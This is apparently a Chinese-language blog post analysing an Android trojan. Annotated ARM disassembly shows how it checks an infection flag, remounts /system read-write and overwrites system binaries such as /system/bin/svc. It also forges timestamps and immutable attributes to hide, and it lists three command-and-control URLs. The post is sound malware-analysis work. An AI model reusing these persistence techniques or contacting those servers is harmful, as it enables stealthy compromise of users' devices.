6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:0000CAF0 loc_CAF0                                ; CODE XREF: main_0+3A↑j
.text:0000CAF0 LDR R5, =(PROP_RUNNING_FLAG_ptr - 0xECB8)
.text:0000CAF2 LDR R1, =0x44C
.text:0000CAF4 MOVS R2, #0x7F
.text:0000CAF6 LDR R0, [R6,R5] ; PROP_RUNNING_FLAG ro.bot.run
.text:0000CAF8 ADD R1, SP
.text:0000CAFA STR R1, [SP,#0x4F8+var_488] ; int
.text:0000CAFC BL sub_A76C
.text:0000CB00 CMP R0, #0 ; ro.bot.run记录系统是否已经感染了木马
.text:0000CB02 BEQ sub_CB16 ;
.text:0000CB04 LDRB R3, [R0] ; int
.text:0000CB06 CMP R3, #0x30 ; '0'
.text:0000CB08 BNE loc_CB0E
.text:0000CB0A BL sub_D47E
.text:0000CB0E ; ---------------------------------------------------------------------------
.text:0000CB0E
.text:0000CB0E loc_CB0E ; CODE XREF: main_0+58↑j
.text:0000CB0E CMP R3, #0x31 ; '1'
.text:0000CB10 BNE sub_CB16 ; setprop_r0.bot.run
.text:0000CB12 BL sub_D450 ; getprop_r0.bot.val

首先检查自己是以什么身份运行,即检测自己是否被感染。若感染即退出函数,否则就跳转到getprop_r0.bot.val读取属性r0.bot.val的值,使用当前时间减去这个差值,使用当前时间减去这个差值,判断是否大于3600.如果读取失败或者差值大于3600就跳到setprop_r0.bot.val标号处执行,相应代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0000D450 sub_D450                                ; CODE XREF: main_0+62↑p
.text:0000D450
.text:0000D450 arg_70 = 0x70
.text:0000D450
.text:0000D450 MOVS R0, #0 ; timer
.text:0000D452 BLX time ; 获取当前时间
.text:0000D456 LDR R3, =0x1CC
.text:0000D458 MOVS R7, R0
.text:0000D45A LDR R1, [SP,#arg_70]
.text:0000D45C LDR R0, [R6,R3]
.text:0000D45E MOVS R2, #0x7F
.text:0000D460 BL sub_A76C ; 这个属性保存的是病毒发作时间
.text:0000D464 CMP R0, #0
.text:0000D466 BNE loc_D46C
.text:0000D468 BL sub_CB16

.text:0000D46C loc_D46C ; CODE XREF: sub_D450+16↑j
.text:0000D46C BLX atol
.text:0000D470 MOVS R3, #0xE1
.text:0000D472 SUBS R7, R7, R0 ; 使用当前时间值减去保存的时间值
.text:0000D474 LSLS R3, R3, #4 ; int
.text:0000D476 CMP R7, R3 ; 判断感染时间间隔3600秒
.text:0000D478 BLE sub_D47E
.text:0000D47A BL sub_CB16

我们来看下setprop_r0.bot.val标号处执行,即代码中的sub_CB16标记处。首先设置ro.bot.run的值为字符串”0”,然后开始感染系统文件,感染完成后再将其设置为字符串”1”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0000CB16                 LDR     R5, [R6,R5]
.text:0000CB18 LDR R1, =(a0 - 0xCB20) ; "0"
.text:0000CB1A MOVS R0, R5
.text:0000CB1C ADD R1, PC ; "0"
.text:0000CB1E BL sub_A7D4
.text:0000CB22 BL sub_BF6C ; 感染系统文件
.text:0000CB26 BL sub_C3F4
.text:0000CB2A LDR R1, =(a1 - 0xCB32) ; "1"
.text:0000CB2C MOVS R0, R5
.text:0000CB2E ADD R1, PC ; "1"
.text:0000CB30 BL sub_A7D4
.text:0000CB34 LDR R3, =0x264
.text:0000CB36 LDR R0, [R4] ; dest
.text:0000CB38 LDR R1, [R6,R3] ; src
.text:0000CB3A BLX strcpy
.text:0000CB3E BLX fork
.text:0000CB42 CMP R0, #0
.text:0000CB44 BEQ loc_CB4A
.text:0000CB46 BL sub_D47E

下面为感染系统文件的具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
.text:0000BDEE                 LDR     R3, [R3]
.text:0000BDF0 STR R3, [SP,#0x248+var_2C]
.text:0000BDF2 BLX open ; 读取/system/bin/svc
.text:0000BDF6 SUBS R7, R0, #0
.text:0000BDF8 BLT loc_BECC
.text:0000BDFA ADD R6, SP, #0x248+buf
.text:0000BDFC MOVS R2, #0x80
.text:0000BDFE MOVS R0, R7 ; fd
.text:0000BE00 MOVS R1, R6 ; buf
.text:0000BE02 LSLS R2, R2, #2 ; nbytes
.text:0000BE04 BLX read ; 调用read()读取/system/bin/svc
.text:0000BE08 MOV R11, R0
.text:0000BE0A CMP R0, #0
.text:0000BE0C BGT loc_BE10
.text:0000BE0E B loc_BEEE
.text:0000BE10 ; ---------------------------------------------------------------------------
.text:0000BE10
.text:0000BE10 loc_BE10 ; CODE XREF: sub_BDD0+3C↑j
.text:0000BE10 LDRB R3, [R6] ; 读取文件内容的第一个字符
.text:0000BE12 CMP R3, #0x23 ; '#' ; 第一个字符是否为'#'
.text:0000BE14 BNE loc_BE18
.text:0000BE16 B loc_BF02 ; 为'#'则跳转
.text:0000BE18 ; ---------------------------------------------------------------------------
.text:0000BE18
.text:0000BE18 loc_BE18 ; CODE XREF: sub_BDD0+44↑j
.text:0000BE18 ; sub_BDD0+138↓j ...
.text:0000BE18 MOVS R1, #0
.text:0000BE1A STR R6, [SP,#0x248+s1]
.text:0000BE1C STR R1, [SP,#0x248+n]
.text:0000BE1E STR R1, [SP,#0x248+var_23C]
.text:0000BE20
.text:0000BE20 loc_BE20 ; CODE XREF: sub_BDD0+16E↓j
.text:0000BE20 ; sub_BDD0+17C↓j
.text:0000BE20 LDR R2, =(BOOT_MAGIC_ptr - 0xECB8)
.text:0000BE22 LDR R5, [R4,R2] ; BOOT_MAGIC /system/bin/ifconfig
.text:0000BE24 STR R2, [SP,#0x248+var_244]
.text:0000BE26 MOVS R0, R5 ; s
.text:0000BE28 BLX strlen
.text:0000BE2C MOVS R1, R5 ; s2
.text:0000BE2E MOVS R2, R0 ; n
.text:0000BE30 LDR R0, [SP,#0x248+s1] ; s1
.text:0000BE32 BLX memcmp
.text:0000BE36 CMP R0, #0
.text:0000BE38 BEQ loc_BEEE
.text:0000BE3A LDR R3, =(BOOT_TEMP_FILE_ptr - 0xECB8)
.text:0000BE3C LDR R1, =0x242 ; oflag
.text:0000BE3E LDR R2, =0x1ED
.text:0000BE40 LDR R0, [R4,R3] ; BOOT_TEMP_FILE ; file /data/.bootemp
.text:0000BE42 STR R3, [SP,#0x248+var_238]
.text:0000BE44 BLX open
.text:0000BE48 MOV R8, R0
.text:0000BE4A CMP R0, #0
.text:0000BE4C BLT loc_BEEE
.text:0000BE4E LDR R1, [SP,#0x248+var_23C]
.text:0000BE50 CMP R1, #0
.text:0000BE52 BEQ loc_BE5E
.text:0000BE54 MOV R0, R8 ; fd
.text:0000BE56 MOVS R1, R6 ; buf
.text:0000BE58 LDR R2, [SP,#0x248+n] ; n
.text:0000BE5A BLX write ; 在/data/.bootemp文件第一行写入/system/bin/ifconfig

.text:0000BE5E loc_BE5E ; CODE XREF: sub_BDD0+82↑j
.text:0000BE5E LDR R2, [SP,#0x248+var_244]
.text:0000BE60 LDR R5, [R4,R2]
.text:0000BE62 MOVS R0, R5 ; s
.text:0000BE64 BLX strlen
.text:0000BE68 MOVS R1, R5 ; buf
.text:0000BE6A MOVS R2, R0 ; n
.text:0000BE6C MOV R0, R8 ; fd
.text:0000BE6E BLX write
.text:0000BE72 LDR R1, [SP,#0x248+var_23C]
.text:0000BE74 MOV R3, R11
.text:0000BE76 MOV R0, R8 ; fd
.text:0000BE78 SUBS R2, R3, R1 ; n
.text:0000BE7A LDR R1, [SP,#0x248+s1] ; buf
.text:0000BE7C BLX write
.text:0000BE80 MOV R5, R8
.text:0000BE82 MOV R8, R4
.text:0000BE84
.text:0000BE84 loc_BE84 ; CODE XREF: sub_BDD0+D0↓j
.text:0000BE84 MOVS R2, #0x80
.text:0000BE86 MOVS R0, R7 ; fd
.text:0000BE88 MOVS R1, R6 ; buf
.text:0000BE8A LSLS R2, R2, #2 ; nbytes 每次读0x100字节
.text:0000BE8C BLX read
.text:0000BE90 SUBS R4, R0, #0
.text:0000BE92 BLE loc_BEA2
.text:0000BE94 MOVS R0, R5 ; fd
.text:0000BE96 MOVS R1, R6 ; buf
.text:0000BE98 MOVS R2, R4 ; n
.text:0000BE9A BLX write
.text:0000BE9E CMP R4, R0
.text:0000BEA0 BEQ loc_BE84 ; 循环读写文件,复制动作
.text:0000BEA2
.text:0000BEA2 loc_BEA2 ; CODE XREF: sub_BDD0+C2↑j
.text:0000BEA2 MOVS R0, R7 ; fd
.text:0000BEA4 BLX close
.text:0000BEA8 MOVS R0, R5 ; fd
.text:0000BEAA BLX close
.text:0000BEAE BLX sync
.text:0000BEB2 BLX sync
.text:0000BEB6 LDR R2, [SP,#0x248+var_238]
.text:0000BEB8 MOV R4, R8
.text:0000BEBA MOV R1, R10
.text:0000BEBC LDR R5, [R4,R2]
.text:0000BEBE MOVS R2, #1
.text:0000BEC0 MOVS R0, R5
.text:0000BEC2 BL sub_BB9C ; 感染/system/bin/svc文件
.text:0000BEC6 MOVS R0, R5 ; name
.text:0000BEC8 BLX unlink ; 删除/data/.bootemp文件

上面为svc文件的整个感染过程,这段代码主要的是在调用sub_bb9c,我们来看下他的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
.text:0000BB9C sub_BB9C                                ; CODE XREF: sub_BC0C+15A↓p
.text:0000BB9C ; sub_BDD0+F2↓p ...
.text:0000BB9C
.text:0000BB9C var_18 = -0x18
.text:0000BB9C var_14 = -0x14
.text:0000BB9C
.text:0000BB9C ; __unwind {
.text:0000BB9C PUSH {R4-R6,LR}
.text:0000BB9E SUB SP, SP, #8
.text:0000BBA0 MOVS R4, R1
.text:0000BBA2 MOVS R6, R2
.text:0000BBA4 MOVS R5, R0
.text:0000BBA6 BL sub_AA38 ; 获取系统文件的最后一次改变时间
.text:0000BBAA STR R0, [SP,#0x18+var_14]
.text:0000BBAC MOVS R0, #0
.text:0000BBAE BL sub_A820 ; 重新挂载系统分区为可读写
.text:0000BBB2 MOVS R0, #0 ; timer
.text:0000BBB4 BLX time
.text:0000BBB8 STR R0, [SP,#0x18+var_18]
.text:0000BBBA ADD R0, SP, #0x18+var_14
.text:0000BBBC BL sub_BA84 ; 设置一下时间
.text:0000BBC0 MOVS R0, R4
.text:0000BBC2 BL sub_B5A8 ; 去掉系统属性
.text:0000BBC6 MOVS R0, R4 ; name
.text:0000BBC8 BLX unlink
.text:0000BBCC BLX sync
.text:0000BBD0 BLX sync
.text:0000BBD4 CMP R6, #0
.text:0000BBD6 BNE loc_BC00
.text:0000BBD8 MOVS R0, R5
.text:0000BBDA MOVS R1, R4
.text:0000BBDC BL sub_A934 ; 将/data/.bootemp的内容写入要感染的文件

.text:0000BBE0 MOVS R1, #0xD2
.text:0000BBE2 MOVS R0, R4 ; file
.text:0000BBE4 LSLS R1, R1, #1 ; mode U644
.text:0000BBE6 BLX chmod ; 设置为大家可读写
.text:0000BBEA
.text:0000BBEA loc_BBEA ; CODE XREF: sub_BB9C+6C↓j
.text:0000BBEA MOVS R0, R4
.text:0000BBEC BL sub_B5DC ; 加上系统属性
.text:0000BBF0 MOV R0, SP
.text:0000BBF2 BL sub_BA84 ; 再次设置时间,为了不改变被感染文件的最后访问时间
.text:0000BBF6 MOVS R0, #1
.text:0000BBF8 BL sub_A820 ; 重新挂载系统分区为只读
.text:0000BBFC ADD SP, SP, #8
.text:0000BBFE POP {R4-R6,PC}
.text:0000BC00 ; ---------------------------------------------------------------------------
.text:0000BC00
.text:0000BC00 loc_BC00 ; CODE XREF: sub_BB9C+3A↑j
.text:0000BC00 MOVS R0, R5
.text:0000BC02 MOVS R1, R4
.text:0000BC04 BL sub_A9E4 ; 拷贝文件并更改用户组ID
.text:0000BC08 B loc_BBEA

感染操作就是一个文件复制的过程,使得病毒主体文件来替换这些系统文件,感染过程大致分为4个部分:

  • 首先获取文件最后一次修改时间,以便后续病毒将自己最后的修改时间设置与他们相同,来达到隐藏自己不被发现的目的
  • 重新挂载/system目录为可读可写,默认情况下/system目录是只读挂载的,去除被感染文件不可删除的属性
  • 将/data/.bootemp的内容复制一份保存为要感染的文件,感染完成后调用chmod()修改其属性为644,接着调用addIattr()为文件添加不可删除属性,最后调用settime()设置文件最后修改时间、
  • 重新恢复/system目录为只读

在感染系统完成后,病毒开始获取系统硬件信息,然后连接远程的服务器。发现病毒共有3个服务器地址以及s1.php、s2.php与s3.php共3个请求的文件:

1
2
3
http://ad.pandanew.com:8511/search
http://ad.phonego8:8511/search
http://ad.my968.com:8511/search
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信